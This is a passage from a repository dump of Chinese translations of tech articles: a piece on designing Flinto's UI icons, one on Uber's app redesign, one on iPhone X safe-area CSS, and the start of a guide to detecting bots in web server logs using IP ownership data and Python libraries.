    "content": "> * 原文链接: [Designing the Icons for Flinto’s UI](https://medium.com/flinto-software/designing-the-icons-for-flinto-s-ui-ddd9e5788cce#.yr5asvf9c)\n* 原文作者 : [Peter Nowell](https://medium.com/@pnowelldesign)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : [edvardhua](https://github.com/edvardHua)\n* 校对者 : [Ruixi](https://github.com/Ruixi), [CoderBOBO](https://github.com/CoderBOBO)\n\n# 我是如何为 Mac 应用 Flinto 设计 UI 图标的\n\n[Flinto 团队](https://www.flinto.com/mac) 最近采访了我关于Flinto用户界面图标背后的设计流程。\n\n#### 你是怎么为Mac版本的Flinto贡献自己的设计？\n\n我参与了[Flinto](https://www.flinto.com/mac)新的Mac版本的用户界面部分和用户体验部分的设计，就在他发布之前的几个月。但是因为Flinto是一个特殊的工具，我们越是深入思考每一部分的用户体验，我们越感觉到Flinto需要大量的定制icons。譬如说Flinto应用的列表（List），工具栏（Toolbar），动画的设计面板（Transition Designer），下拉手势（Gestures dropdown）都需要他们独自的一套图标。所以，如何快速的设计图标变成了我的主要工作。\n\n#### 当设计大型应用的图标和菜单的时候，你采用什么样的设计策略？\n\n设计总是情境驱动的。我惊奇的发现专业Mac应用的情境设计是最复杂的工作之一，就算你只是设计图标。工具栏（Toolbar）的图标大小必须一致，而且最好根据图标知道用途。这与侧边栏的图标和下拉菜单看到的图标的设计原则上有所差异。 一些图标会以不同的尺寸和不同的样式重复出现在不同的地方。不是只要调整图标尺寸或者样式就能够适用于每一个用户界面的，所以我在设计图标的时候需要考虑到图标是否具有通用性以及不破坏用户界面的整体一致性。\n\n![](https://cdn-images-1.medium.com/max/600/1*ttfWxwTTFE_Jy0yJhYwtPQ.jpeg)\n\n我都是在纸上开始设计图标的，我一直坚信这个原则。我会在纸上画下我想象中这个图标的所有可能性，譬如设计的这个图标包含了什么暗喻以及图标可能需要/产生的变化。所以在**概念设计**的这个阶段上，我尽量让自己将所有的内容都写在我的纸上，甚至是一些不相关的想法。下一步则**分析**概念设计中的内容如何能够更好符合我们设计的目标，已有的限制以及这个图标的情境联系。\n\n> 我发现将绘图构思和评估这两个过程分开进行是很至关重要的。前者的工作需要想象力，好奇心，而且持有自己主观的判断，是一个加法的过程，是心血来潮的创作。评估则需要批判性，实用性，以及需要考虑图标背后一连串所延伸出来的隐喻，是一个做减法的过程。如果你尝试同时做这两件事情，那么你会考虑不过来从而得不到任何结果。\n\n我最近还在网上授课讲述我认为在[设计图标](http://shrsl.com/?~boxl)中最重要的原则。里面还包含了我是如何来评估我的想法和草稿的。\n\n通常来说，只有一部分的设计想法会被保存到电脑里面。使用sketch可以提高我的生产效率并且在生产的过程中会有一些创造性的决定。但最主要的目的还是要完善和精炼图标的形式，保证每一个图标都是像素完美的。我对此具备相当大的热情，我对其他忽视这个细节的人感到很烦恼。\n\n#### 能够为我们再稍微解释一下什么是“像素完美”和如何实现？\n\n像素完美其实意味着很多东西，它更像是一个想法而不是一个能够具体描述的特征。像“注意细节”一样，当被忽视的时候我们能够很容易的感觉出来。完美的像素对小图标的可辨别度有巨大的影响。想要实现像素完美不仅仅是将设计元素的像素网格对齐（如下图）。这基本上来说就是在和锯齿做斗争。使用抗锯齿是很好的一件事情，但它会让图像一些地方产生模糊，尤其是在对角线和曲线中。\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f2m0jk2o2kj20go0i4760.jpg)\n\n举个例子，我们想在图层列表中加上一些注释来表明哪些层是被隐藏或者是被锁住的。当然给图层加上隐藏和锁定是很简单的事情，只需要点击按钮操作一下就好了。我们考虑的是我们有一个小的注释，他会占用一小部分空间，来注释两个已经隐藏和锁定图标。为了完成这个目标，我们的图标必须要做到像素完美。我对我设计的8x8大小的图标感到非常的自豪。\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f2m0k0slikj20m807xjsz.jpg)\n\n<figcaption>对于使用retina显示屏的读者，我们显示**“一半尺寸”**的位图，如图 1x 的全像素图标。对于非retina显示屏的读者，则使用**“双倍尺寸”**的位图，如图 2x 的全像素图标。 请以横向模式显示上图来获得最好的显示效果。</figcaption>\n\n在一个理想的世界中，一枚制作精良矢量图标可以轻易地适应各种像素密度的输出，并在所有对应尺寸中显示效果良好。但是大部分时候，使用一倍大小的图标并不能够处理得到更高尺寸的图标。你可能需要先做一个完美的两倍尺寸的图标，然后再调整成一倍尺寸来创建一个新的视觉满意的图标。在Flinto中至少一半的图标都有其对应1倍和2倍尺寸，譬如贯穿整个过渡动画设计面板的\"概念图层\"图标。\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f2m0ksytpgj20m808wq5a.jpg)\n\n**针对于这块感兴趣的读者，这里有我是如何对Flinto图标的抗锯齿进行细调的技术细节。**\n\n*  重新调整和重新定位图形来获得看上去视觉舒服的图形，尽管这样处理后位置或者像素值会有小数点，但在这个阶段视觉是重点。\n*  只使用曲线或者圆角时，至少要使用2px来渲染 90° 角的半径圆，或者使用3px渲染180°角的半径圆，来作为圆的线段末尾（如下图）。1pt大小线的线段的圆角线帽的效果是很糟糕的，至少我们使用的屏幕都会将其放大三倍来显示。\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f2m0lacz7xj20m80bmdha.jpg)\n\n<figcaption>没有人想要模糊的线帽！只有三倍大小（或者更大）的显示器才能够对1pt大小的线条渲染清晰可见的圆角线帽。</figcaption>\n\n*  为了让线条粗细更加一致，调整边框宽度/粗细来达到稍宽或者稍厚会比使用1pt的细曲线或者斜线更好。\n*  消除不必要的模糊像素。这在你需要使用图形自身标记自己的时候将会很有效。\n*  通过复制图形或者边框（同一方向）来轻微调整图形的粗细。\n*  如果图标可以有小模糊锯齿能够为图标的其他部分提供一定帮助，这也是可以的。\n\n当然还有其他有关于如何平滑抗锯齿的技巧，但是我刚才所说的是我从中获益最大的。\n\n#### 什么造就了一枚好图标？\n\n这是个问题！尤其是当图标包含了很多设计原则的时候。我在我的[图标设计课程](http://shrsl.com/?~boxl)里面通过讲我在Flinto工作遇到的一些故事来描述我是如何造就一枚好图标的。\n\n其中的一个原则就是**使用熟悉的符号并且让他显眼**。当我们开始为Flinto的主页面的画布设计图标的时候，内森有一个想法，我们可以设计一个图标让我们回忆起[艾西勒的住宅](http://www.sj33.cn/architecture/slsj/jiaju/201405/38754_3.html)。艾西勒是一位建筑师，他设计了中世纪现代建筑的住宅，这种风格的住宅在加州很流行。\n\n![](http://ww1.sinaimg.cn/large/a490147fjw1f2m0mhofdpj20go0ci74z.jpg)\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f2m0mwpmrbj20go0cimye.jpg)\n\n<figcaption>艾西勒的中世纪现代建筑的住宅给了我们灵感去探索设计一个独特的“home”图标。</figcaption>\n\n我们认为这个想法很酷而且内森也买了一套使用这种设计元素的房子，所以我们对这个想法很有热情。我做了很多个home图标的概念设计，尝试着将艾西勒住宅的特点萃取到一个16*16正方形的图标里面，而且在图标不添加色彩和透明度效果。我们发现这些看似巧妙的图标并没有很好展现图标本身的职责而且作为home图标也不够显眼。于是我们决定做一个直观并且能够表达艾西勒住宅不对称特点而且对其他用户而言有高辨别度的图标。\n\n![](http://ww4.sinaimg.cn/large/a490147fjw1f2m0nda8s2j20m80ab0sx.jpg)\n\n<figcaption>直观胜过巧妙，我们选择了底部中间图标作为home键。</figcaption>\n\n另外评价一个好图标的原则是他是否能够与周围的元素看上去融洽。这些元素包括图标周围的UI，邻接文本的大小和字重，操作系统的习惯（譬如说，在mac os下cmd+s是保存，而在win下则是ctrl + s），以及其他图标的集合。\n\n所以尽管home图标基本上是单独存在的，但是工具图标，手势图标，排版图标都是集合方式存在的。设计图标的集合的挑战是很大的。你会在设计一个图标集合设计到一半的时候发现你所使用的视觉隐喻不能够适应每一个这个集合里面需要的图标，这意味着你需要重新做一遍。 🙈\n\n![](http://ww3.sinaimg.cn/large/a490147fjw1f2m0nupc7uj20m80283yh.jpg)\n\n这种情况通常发生在手势图标上（上图是以200%比例显示）现在这些图标看上去很简单和直观，然而我们在设计他时是有很多限制条件的，并且还要考虑未来的兼容性。一些我们在这里展示的图标还没有出现在Flinto中...但很重要的一点是，在遇到有需要的时候，我们设计的图标集能够扩展并且容纳它们。\n"
  },
  {
    "path": "TODO/designing-the-new-uber-app.md",
    "content": "\n> * 原文地址：[Designing the new Uber App](https://medium.com/uber-design/designing-the-new-uber-app-16afcc1d3c2e#.kaoghc61m)\n* 原文作者：[Didier Hilhorst](https://medium.com/@didierh)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[PhxNirvana](https://github.com/phxnirvana)\n* 校对者：[Gocy](https://github.com/Gocy015), [Freya Yu](https://github.com/ZiXYu)\n\n# 全新的 Uber 应用设计\n\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*7ocitrf1HvNFK8Hbo3FoOw.png)\n\n\n\n\n\n\n\n大刀阔斧地（对当前应用）重新设计这种东西光是听起来就足以让人裹足不前。大量的变数和未知情况都暗示着这条道路上充满荆棘，甚至通向悬崖。但只要我们还想建设光明未来，就势必承担这风险。这意味着不仅要下血本重新设计界面外观，还要重新构思交互流程。\n\nUber 起初的愿景很简单。“轻触屏幕，即刻接驾。”无需设置目的地，无需选择套餐，只需轻轻一点，至多两次，就可以开启一段行程。\n\n随着新功能的不断加入，我们的产品变得越来越复杂，我们不断地努力，试图保持最初一键式的简洁高效。后来我们意识到高效率绝不仅仅是减少点击和优化流程这么简单。人们总是在赶着去看电影时选择了错误的服务类型（对，就是你，Uber Pool）。通过选择合适接人地点来节省时间的这种机会就被生生错过了。\n\n在一家快速增长的公司考虑未来道路是很有挑战性的。所以，为了走出我们先前的舒适区，我们决定用**“以终为始”**作为新 Uber 的设计理念。\n\n有时为了更快的从 A 点到达 B 点，需要减速、抬头、观察前方。原先的 Uber 只让你考虑搭便车，而现在会问你“去哪儿？”（Where to go?）。\n\n一切流程始于此并环绕它（Where to go）打造。下一步的界面元素飞入屏幕，并以动画的形式播放通往终点的路线。指引前进的是基于向前看的哲学理念。每一个动作都引领用户走向下一步，每一步结束时同样会带来反馈。当你打算开始一段行程时，一切都将水到渠成。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*1xHu1vhKVvIx2SY-XdiF7A.jpeg)\n\n\n\n\n\n\n\n一个关于体验的关键分歧是产品选择滑动条。一个好的界面有，呃，三到四个选项，至多八个，我们在洛杉矶和其他城市的司机可以证明这一点。（现实情况却）甚至更糟，当我们打开计划选项时，位置就不够用了，而且我们基本可以说是随意地把这个窗口扔在屏幕中间。\n\n这项功能经历了最多的设计循环和迭代。从列表视图到表格视图再到分页视图及其之间的众多设计。用户调研和原型迭代在过程中扮演了重要角色。我们每天都带着用 Framer 和 Swift 建立的原型去人群中做调查。日复一日，周复一周地迭代，直到我们找到答案。我们发现人们并不关心我们能在一个屏幕上填满多少产品和特性。\n\n通过对目的地的了解，我们可以在屏幕上显示最恰当的选项来提供让用户提供选择的机会。我们在（界面）最上层显示不同服务的费用，以此让用户可以简洁直观的选择到达方式。对于 Uber Pool 和 UberX 我们会显示到达时间来让你知道你能不能赶上晚餐订座的时间。\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*U6PKgfBbne-QQZJIWSOvew.jpeg)\n\n\n\n\n\n\n\n就像期待的那样，应用总会先想一步来节省时间。它会在选择所需服务时搜索最佳搭车点。一旦提交请求，我们会马上显示可能的配对司机，并提供预估时间。\n\n起初我们想建立一个其他人「能用、能建设、能扩展」的平台。这花了不少功夫，而且有着设计师、工程师、产品经理、运维、市场和其他各种人才的参与。边设计边创造一个全新的产品的确是个挑战，尤其是这么大的产品。\n\n理想状况下你可能会选择先进行产品设计，再进行平台设计，但以我们进行的速度来说，这基本不可能。但这项限制，却最终成为了一个“美妙的意外”：它迫使我们不得不在敲定产品设计的同时应用相应的平台设计，并用真实数据开发。这让我想起了一个传奇赛车手的名言：\n\n> “如果一切都在掌控中，那只能说明速度不够快。”——Mario Andretti.\n\n我们在基础阶段就建立了一系列元素的标准，如间距、字体、颜色、内容、图标、图表、阴影、状态栏、动画以及用动作表单实现的警告框、头像、按钮、卡片、时间选择器、空状态、表格、标题、列表、地图、加载指示器、选择器和标签。但可能最重要的是，我们建立了和乘客交流的空间。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*t_KgpnQ5C_CPhQxuXXCEtA.png)\n\n\n\n\n\n\n\n我们曾以为用户走进车门时我们的工作就结束了，在那之后，（用户）越快关闭应用体验越好。但在审视每一步之后，发现我们忽略了旅程中最长的一部分：在路上。\n\n我们考虑到了可能在路上听的音乐，目标饭馆的菜单，以及如何与将要见的人保持联系。（因此）我们建立了一个以旅客和旅程为中心的平台。\n\n\n\n\n\n\n\n![](https://cdn-images-1.medium.com/max/2000/1*uX84vBZ06pGXvKnW0MZUPw.jpeg)\n\n\n\n\n\n\n\n全新 Uber 应用是关于你，你的目标和你的目的地。我们以终为始，希望可以让你的下一次旅程到来的更早些。\n\n特别鸣谢 Peter Ng，Bryant Jow，Nick Kruge 和 [Uber Design](https://medium.com/u/f0f8b53891a8) 的全体成员。除了设计之外，最值得称道的是和一群优异的工程师和产品经理共事的经历，正是他们的努力，才有了新 Uber 应用的诞生。设计并不止是设计师的职责，它关乎我们全体。我们工作的环境从一开始就有着一群以让用户更满意为目标的工程师和产品经理。如果（你）觉得这有趣的话，那就加入我们来一起设计更好未来吧——我们需要你的帮助。 [点这里](https://www.linkedin.com/in/dhilhorst)，让我们喝着咖啡携手共事吧。\n\n年底，有着更多功能的更新会在全球各应用市场分批上线。 希望你和我们一样激动。如果你读到这里的话，可以看看下面介绍新应用的短视频：\n<iframe width=\"1514\" height=\"851\" src=\"https://www.youtube.com/embed/I1DdoN6NLDg\" frameborder=\"0\" allowfullscreen></iframe>\n[点这里](https://www.youtube.com/embed/I1DdoN6NLDg)（Youtube地址，需自备梯子）\n"
  },
  {
    "path": "TODO/designing-websites-for-iphone-x.md",
    "content": "\n> * 原文地址：[Designing Websites for iPhone X](https://webkit.org/blog/7929/designing-websites-for-iphone-x/)\n> * 原文作者：[Timothy Horton](https://webkit.org/blog/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/designing-websites-for-iphone-x.md](https://github.com/xitu/gold-miner/blob/master/TODO/designing-websites-for-iphone-x.md)\n> * 译者：[Hyde Song](https://github.com/HydeSong)\n> * 校对者：[Larry](https://github.com/lampui) [Vernon](https://github.com/VernonVan)\n\n# iPhone X 网页设计\n\n在最新发布 iPhone X 的全面屏上，Safari 可以精美地显示现有的网站。内容自动嵌入到显示屏的安全区域内，以免被圆角、原深感摄像头系统的空间遮挡住。\n\n凹槽部分填充了页面的 `background-color` (比如指定为 `<body>` 或 `<html>` 元素的背景颜色)，这样就和页面其余部分混合在一起。对于许多网站来说，这已经足够了。如果你的页面在背景色上只有文本和图片，那么默认的凹槽部分看起来也非常不错。\n\n对于其他页面 —— 特别是那些设计全宽水平导航栏的页面，比如像下图的页面，可以选择稍微深入一点，充分利用新显示的功能。 [iPhone X 人机界面指南](https://developer.apple.com/ios/human-interface-guidelines/overview/iphone-x/) 详细介绍了一些通用的设计原则，并且 [UIKit 文档](https://developer.apple.com/documentation/uikit/uiview/positioning_content_relative_to_the_safe_area) 讨论了原生 app 可以采用的特定机制，以确保它们看起来不错。你的网站可以利用 iOS 11 中引入的一些类似 WebKit API 来充分利用显示器边缘到边缘的特性。\n\n在阅读这篇文章的时候，你可以点击任何图片来访问相应的 Demo 页，并查看源代码：\n\n[![Safari's default insetting behavior](https://webkit.org/wp-content/uploads/default-inset-behavior.png)](/demos/safe-area-insets/1-default.html)\n\nSafari 的默认内嵌行为。\n\n## 使用整个屏幕\n\n第一个新特性是对现有 `viewport` meta 标签的扩展，称为 [`viewport-fit`](https://www.w3.org/TR/css-round-display-1/#viewport-fit-descriptor)，它提供对嵌入行为的控制。在 iOS 11 中可以使用 `viewport-fit`。\n\n\n`viewport-fit` 的默认值是 auto，会引起自动嵌入行为的效果。为了使该行为失效，并使页面全屏幕显示，你可以设置 `viewport-fit:cover` 为 `cover`。在这样做之后，我们的 `viewport` meta 标记看起来像这样：\n\n```\n<meta name='viewport' content='initial-scale=1, viewport-fit=cover'>\n```\n\n重新加载后，导航栏显示成边缘到边缘的样子，看起来好多了。然而，很明显，为什么注意系统的安全区域内嵌很重要：一些页面的内容被原深感摄像头系统的空间遮挡了，而底部的导航栏非常难以使用。\n\n[![viewport-fit=cover](https://webkit.org/wp-content/uploads/viewport-fit-cover.png)](/demos/safe-area-insets/2-viewport-fit.html)\n\n用 `viewport-fit=cover` 适配全面屏.\n\n## 注意安全区域\n\n为了在采用 `viewport-fit=cover` 之后页面还可用，下一步要做的是选择性地给包含重要内容的元素加上 padding，以确保元素不会被屏幕的形状所遮挡。生成的页面会充分利用 iPhone X 上增加的屏幕空间，同时动态调整避免四个角落、原深感摄像头系统的空间靠近主屏幕。\n\n[![Safe and Unsafe Areas](https://webkit.org/wp-content/uploads/safe-areas.png)](/demos/safe-area-insets/safe-areas.html)\n\niPhone X 横屏时的安全区和非安全区（带默认内嵌数值）\n\n为了实现这一点，iOS 11 中的 WebKit 新增了一个 [CSS 函数](https://github.com/w3c/csswg-drafts/pull/1817)，`constant()`，以及一组 [四个预定义的常量](https://github.com/w3c/csswg-drafts/pull/1819)： `safe-area-inset-left`, `safe-area-inset-right`, `safe-area-inset-top` 和 `safe-area-inset-bottom`。当合并使用时，允许样式使用每个方向的安全区域的大小。\n\nCSS 工作组 [最近决定添加这个特性](https://github.com/w3c/csswg-drafts/issues/1693#issuecomment-330909067)，但是使用了不同的名称，请记住这一点。\n\n`constant()` 功能类似于 `var()`，比如下面的示例，在 `padding` 属性使用：\n\n```\n.post {\n    padding: 12px;\n    padding-left: constant(safe-area-inset-left);\n    padding-right: constant(safe-area-inset-right);\n}\n```\n\n对于不支持 `constant()` 的浏览器，包含 `constant()` 的样式将被忽略。因此，重要的是要对使用 `constant()` 的样式另外使用替代样式。\n\n[![Safe area constants](https://webkit.org/wp-content/uploads/safe-area-constants.png)](/demos/safe-area-insets/3-safe-area-constants.html)\n\n注意安全区内嵌，使重要内容可见。\n\n## 使用 min() 和 max() 将其全部组合在一起\n\n本节介绍目前 iOS 11 还**没有**实现的特性。\n\n如果在网站设计中采用 constant() 来设置安全区域，你可能会注意到，在设置安全区域时，很难指定最小的 padding。在上面的页面中，我们把 12 px 的左填充替换成 `constant(safe-area-inset-left)`，当回到竖屏时，左侧的安全区域变成了 0 px，文本立即紧靠屏幕边缘。\n\n\n[![No margins](https://webkit.org/wp-content/uploads/no-margins.png)](/demos/safe-area-insets/3-safe-area-constants.html)\n\n安全区域内嵌不能替代边距。\n\n要解决这个问题，我们需要指定 padding 应该是默认的 padding 或安全区域中较大的那个。这可以用 [全新的 CSS 函数 `min()` 和 `max()`](https://drafts.csswg.org/css-values/#calc-notation) 来实现，这将在未来的 Safari 预览版本中提供相应的支持。两个函数都采用任意数量的参数，并返回最小值或最大值。它们可以在 `calc()` 中使用，或者嵌套在一起，这两个函数都允许像 `calc()` 一样的数学计算。\n\n比如像下面这样的示例，可以这样使用 `max()` ：\n\n```\n@supports(padding: max(0px)) {\n    .post {\n        padding-left: max(12px, constant(safe-area-inset-left));\n        padding-right: max(12px, constant(safe-area-inset-right));\n    }\n}\n```\n\n使用 @supports 来检测 min 和 max 很重要，因为并不是任何浏览器都支持，根据 CSS 的 [无效变量处理](https://drafts.csswg.org/css-variables/#invalid-variables)，**不要**在 @supports 查询中指定变量。\n\n在示例页面中，竖屏时 `constant(safe-area-inset-left)` 解析为 0 px，因此 `max()` 解析为 12 px。横屏时，由于感应器空间的存在，设置 `constant(safe-area-inset-left)` 的值会变得更大，而 `max()` 这个函数将会解析这个大小，以确保重要内容始终可见。\n\n[![max() with safe area insets](https://webkit.org/wp-content/uploads/max-safe-areas-insets.png)](/demos/safe-area-insets/4-min-max.html)\n\nmax() 将安全区内嵌与传统边距结合\n\n有经验的 Web 开发人员以前可能遇到过 CSS 锁机制，通常用于将 CSS 属性设置在特定范围的值中。一起使用 `min()` 和 `max()` 会让事情变得更加容易，并且将有助于在未来实现有效的响应式设计。\n\n## 反馈和问题\n\n现在你可以在 [Xcode 9](https://developer.apple.com/xcode/) 中 iPhone X 模拟器的 Safari 开始采用 viewport-fit 和安全区内嵌。很乐意听到所有特性被采纳，请随时将反馈和问题发送到 [web-evangelist@apple.com](mailto:web-evangelist@apple.com) 或者在 Twitter 上 [@webkit](https://twitter.com/webkit)，并将 bug 都提交到 [WebKit 的 bug 跟踪器](https://bugs.webkit.org/)。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/detect-bots-apache-nginx-logs.md",
    "content": "> * 原文地址：[Detecting Bots in Apache & Nginx Logs](http://tech.marksblogg.com/detect-bots-apache-nginx-logs.html)\n> * 原文作者：[Mark Litwintschik](http://tech.marksblogg.com/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[luoyaqifei](http://www.zengmingxia.com)\n> * 校对者：[forezp](https://github.com/forezp)，[1992chenlu](https://github.com/1992chenlu)\n\n# 在 Apache 和 Nginx 日志里检测爬虫机器人\n\n现在阻止基于 JavaScript 追踪的浏览器插件享有九位数的用户量，从这一事实可以看出，web 流量日志可以成为一个很好的、能够感知有多少人在访问你的网站的地方。但是任何监测过 web 流量日志一段时间的人都知道，有成群结队的爬虫机器人在爬网站。然而，在 web 服务器日志里分辨出机器人和人为产生的流量是一个难题。\n\n在这篇博文中，我将带你们重现那些我在创建一个基于 IPv4 所属和浏览器字串（browser string）的机器人检测脚本时用过的步骤。  \n\n本文中用到的代码在这个 [代码片段](https://gist.github.com/marklit/80b875ccab8b215bfa0ecdfaa5000e7b) 里。\n\n## IP 地址所属数据库\n\n首先，我会安装 Python 和一些依赖包。接下来的指令会在一个新的 Ubuntu 14.04.3 LTS 安装过程中执行。\n\n    $ sudo apt-get update\n    $ sudo apt-get install \\\n        python-dev \\\n        python-pip \\\n        python-virtualenv\n\n\n接下来我要创建一个 Python 虚拟环境，并且激活它。通过 pip 安装库时，容易遇到权限问题，这样可以缓解这种问题。\n\n    $ virtualenv findbots\n    $ source findbots/bin/activate\n\n\nMaxMind 提供了一个免费的数据库，数据库里有 IPv4 地址对应的国家和城市注册信息。和这些数据集一起，他们还发布了一个基于 Python 的库，叫 “geoip2”，这个库可以将他们的数据集映射到内存映射的文件里，并且用基于 C 的 Python 扩展来执行非常快的查询。\n\n下面的命令会安装它们的包，下载、解压它们在城市那一层的数据集。\n\n    $ pip install geoip2\n    $ curl -O http://geolite.maxmind.com/download/geoip/database/GeoLite2-City.mmdb.gz\n    $ gunzip GeoLite2-City.mmdb.gz\n\n\n我看过一些 web 流量日志，并且抓取出来一些恰好请求了「robots.txt」的流量。从那个列表里，我重点检查了经常出现的 IP 地址中的一些，发现不少 IP 其实是属于主机和云服务提供商的。我想知道是不是有可能攒出来一个列表，无论完不完整，包括了这些提供商所有的 IPv4 地址。\n\nGoogle 有一个基于 DNS 的机制，用于收集它们用于提供云的 IP 地址列表。这个最初的调用将给你一系列可以查询的主机。\n\n    $ dig -t txt _cloud-netblocks.googleusercontent.com | grep spf\n\n```\n _cloud-netblocks.googleusercontent.com. 5 IN TXT \"v=spf1 include:_cloud-netblocks1.googleusercontent.com include:_cloud-netblocks2.googleusercontent.com include:_cloud-netblocks3.googleusercontent.com include:_cloud-netblocks4.googleusercontent.com include:_cloud-netblocks5.googleusercontent.com ?all\"\n```\n\n\n以上阐明了 _cloud-netblocks[1-5].googleusercontent.com 将包含 SPF 记录，这些记录里包括他们实用的 IPv4 和 IPv6 CIDR 地址。像如下这样查询所有的五个地址，应当会给你一个最新的列表。\n\n    $ dig -t txt _cloud-netblocks1.googleusercontent.com | grep spf\n\n```\n_cloud-netblocks1.googleusercontent.com. 5 IN TXT \"v=spf1 ip4:8.34.208.0/20 ip4:8.35.192.0/21 ip4:8.35.200.0/23 ip4:108.59.80.0/20 ip4:108.170.192.0/20 ip4:108.170.208.0/21 ip4:108.170.216.0/22 ip4:108.170.220.0/23 ip4:108.170.222.0/24 ?all\"\n```\n\n去年三月，基于 Hadoop 的 MapReduce 任务，我尝试着抓取了整个 IPv4 地址空间的 WHOIS 细节，并且发布了一篇 [博客文章](http://tech.marksblogg.com/bulk-ip-address-whois-python-hadoop.html#ipv4-whois-mapreduce-job)。这个任务在过早结束之前，跑了接近两个小时，留给了我一份虽然不完整，但是大小可观的数据集，里面有 235,532 个 WHOIS 记录。这个数据集已经存在一年之久了，除了有点过时，应该还是有价值的。\n\n    $ ls -l\n\n```\n-rw-rw-r-- 1 mark mark  5946203 Mar 31  2016 part-00001\n-rw-rw-r-- 1 mark mark  5887326 Mar 31  2016 part-00002\n...\n-rw-rw-r-- 1 mark mark  6187219 Mar 31  2016 part-00154\n-rw-rw-r-- 1 mark mark  5961162 Mar 31  2016 part-00155\n```    \n\n当我重点检查那些爬到「robots.txt」的爬虫机器人的 IP 所属时，除了 Google，这六家公司也出现了很多次：Amazon、百度、Digital Ocean、Hetzner、Linode 和 New Dream Network。我跑了以下的命令，尝试去取出它们的 IPv4 WHOIS 记录。\n\n    $ grep -i 'amazon'            part-00* > amzn\n    $ grep -i 'baidu'             part-00* > baidu\n    $ grep -i 'digital ocean'     part-00* > digital_ocean\n    $ grep -i 'hetzner'           part-00* > hetzner\n    $ grep -i 'linode'            part-00* > linode\n    $ grep -i 'new dream network' part-00* > dream\n\n\n我需要从以上六个文件中，解析二次编码的 JSON 字符串，这些字符串包含了文件名和频率次数信息。我使用了 iPython 代码来获得不同的 CIDR 块，代码如下：\n\n```\nimport json\n\n\ndef parse_cidrs(filename):\n    lines = open(filename, 'r+b').read().split('\\n')\n\n    recs = []\n\n    for line in lines:\n        try:\n            recs.append(\n                json.loads(\n                    json.loads(':'.join(line.split('\\t')[0].split(':')[1:]))))\n        except ValueError:\n            continue\n\n    return set([str(rec.get('network', {}).get('cidr', None))\n                for rec in recs])\n\n\nfor _name in ['amzn', 'baidu', 'digital_ocean',\n              'hetzner', 'linode', 'dream']:\n    print _name, parse_cidrs(_name)\n```\n\n下面是一份清理完毕的 WHOIS 记录实例，我已经去掉了联系信息。\n\n```\n{\n    \"asn\": \"38365\",\n    \"asn_cidr\": \"182.61.0.0/18\",\n    \"asn_country_code\": \"CN\",\n    \"asn_date\": \"2010-02-25\",\n    \"asn_registry\": \"apnic\",\n    \"entities\": [\n        \"IRT-CNNIC-CN\",\n        \"SD753-AP\"\n    ],\n    \"network\": {\n        \"cidr\": \"182.61.0.0/16\",\n        \"country\": \"CN\",\n        \"end_address\": \"182.61.255.255\",\n        \"events\": [\n            {\n                \"action\": \"last changed\",\n                \"actor\": null,\n                \"timestamp\": \"2014-09-28T05:44:22Z\"\n            }\n        ],\n        \"handle\": \"182.61.0.0 - 182.61.255.255\",\n        \"ip_version\": \"v4\",\n        \"links\": [\n            \"http://rdap.apnic.net/ip/182.0.0.0/8\",\n            \"http://rdap.apnic.net/ip/182.61.0.0/16\"\n        ],\n        \"name\": \"Baidu\",\n        \"parent_handle\": \"182.0.0.0 - 182.255.255.255\",\n        \"raw\": null,\n        \"remarks\": [\n            {\n                \"description\": \"Beijing Baidu Netcom Science and Technology Co., Ltd...\",\n                \"links\": null,\n                \"title\": \"description\"\n            }\n        ],\n        \"start_address\": \"182.61.0.0\",\n        \"status\": null,\n        \"type\": \"ALLOCATED PORTABLE\"\n    },\n    \"query\": \"182.61.48.129\",\n    \"raw\": null\n}\n```\n\n这份七个公司的列表不是一个关于爬虫机器人来源的全面的列表。我发现，除了一个从世界各地连接的分布式爬虫战队，很多爬虫流量来源于一些在乌克兰、中国的住宅 IP，源头很难分辨。说实话，如果我想要一个全面的爬虫机器人实用的 IP 列表，我只需要看看 [HTTP 头的顺序](http://geocar.sdf1.org/browser-verification.html)，检查下 TCP/IP 的行为，搜寻 [伪造 IP 注册](http://go.whiteops.com/rs/179-SQE-823/images/WO_Methbot_Operation_WP.pdf)（请看 28 页），列表就出来了，并且这就像猫和老鼠的游戏一样。\n\n## 安装库\n\n对于这个项目而言，我会实用一些写得很好的库。[Apache Log Parser](https://github.com/rory/apache-log-parser) 可以解析 Apache 和 Nginx 生成的流量日志。这个库支持从日志文件中解析超过 30 种不同类型的信息，并且我发现，它相当弹性、可靠。[Python User Agents](https://github.com/selwin/python-user-agents) 可以解析用户代理的字符串，并执行一些代理使用的基本分类操作。[Colorama](https://github.com/tartley/colorama) 协助创建有高亮的 ANSI 输出。[Netaddr](https://github.com/drkjam/netaddr/) 是一种成熟的、维护得很好的网络地址操作库。\n\n    $ pip install -e git+https://github.com/rory/apache-log-parser.git#egg=apache-log-parser \\\n                  -e git+https://github.com/selwin/python-user-agents.git#egg=python-user-agents \\\n                  colorama \\\n                  netaddr\n\n\n## 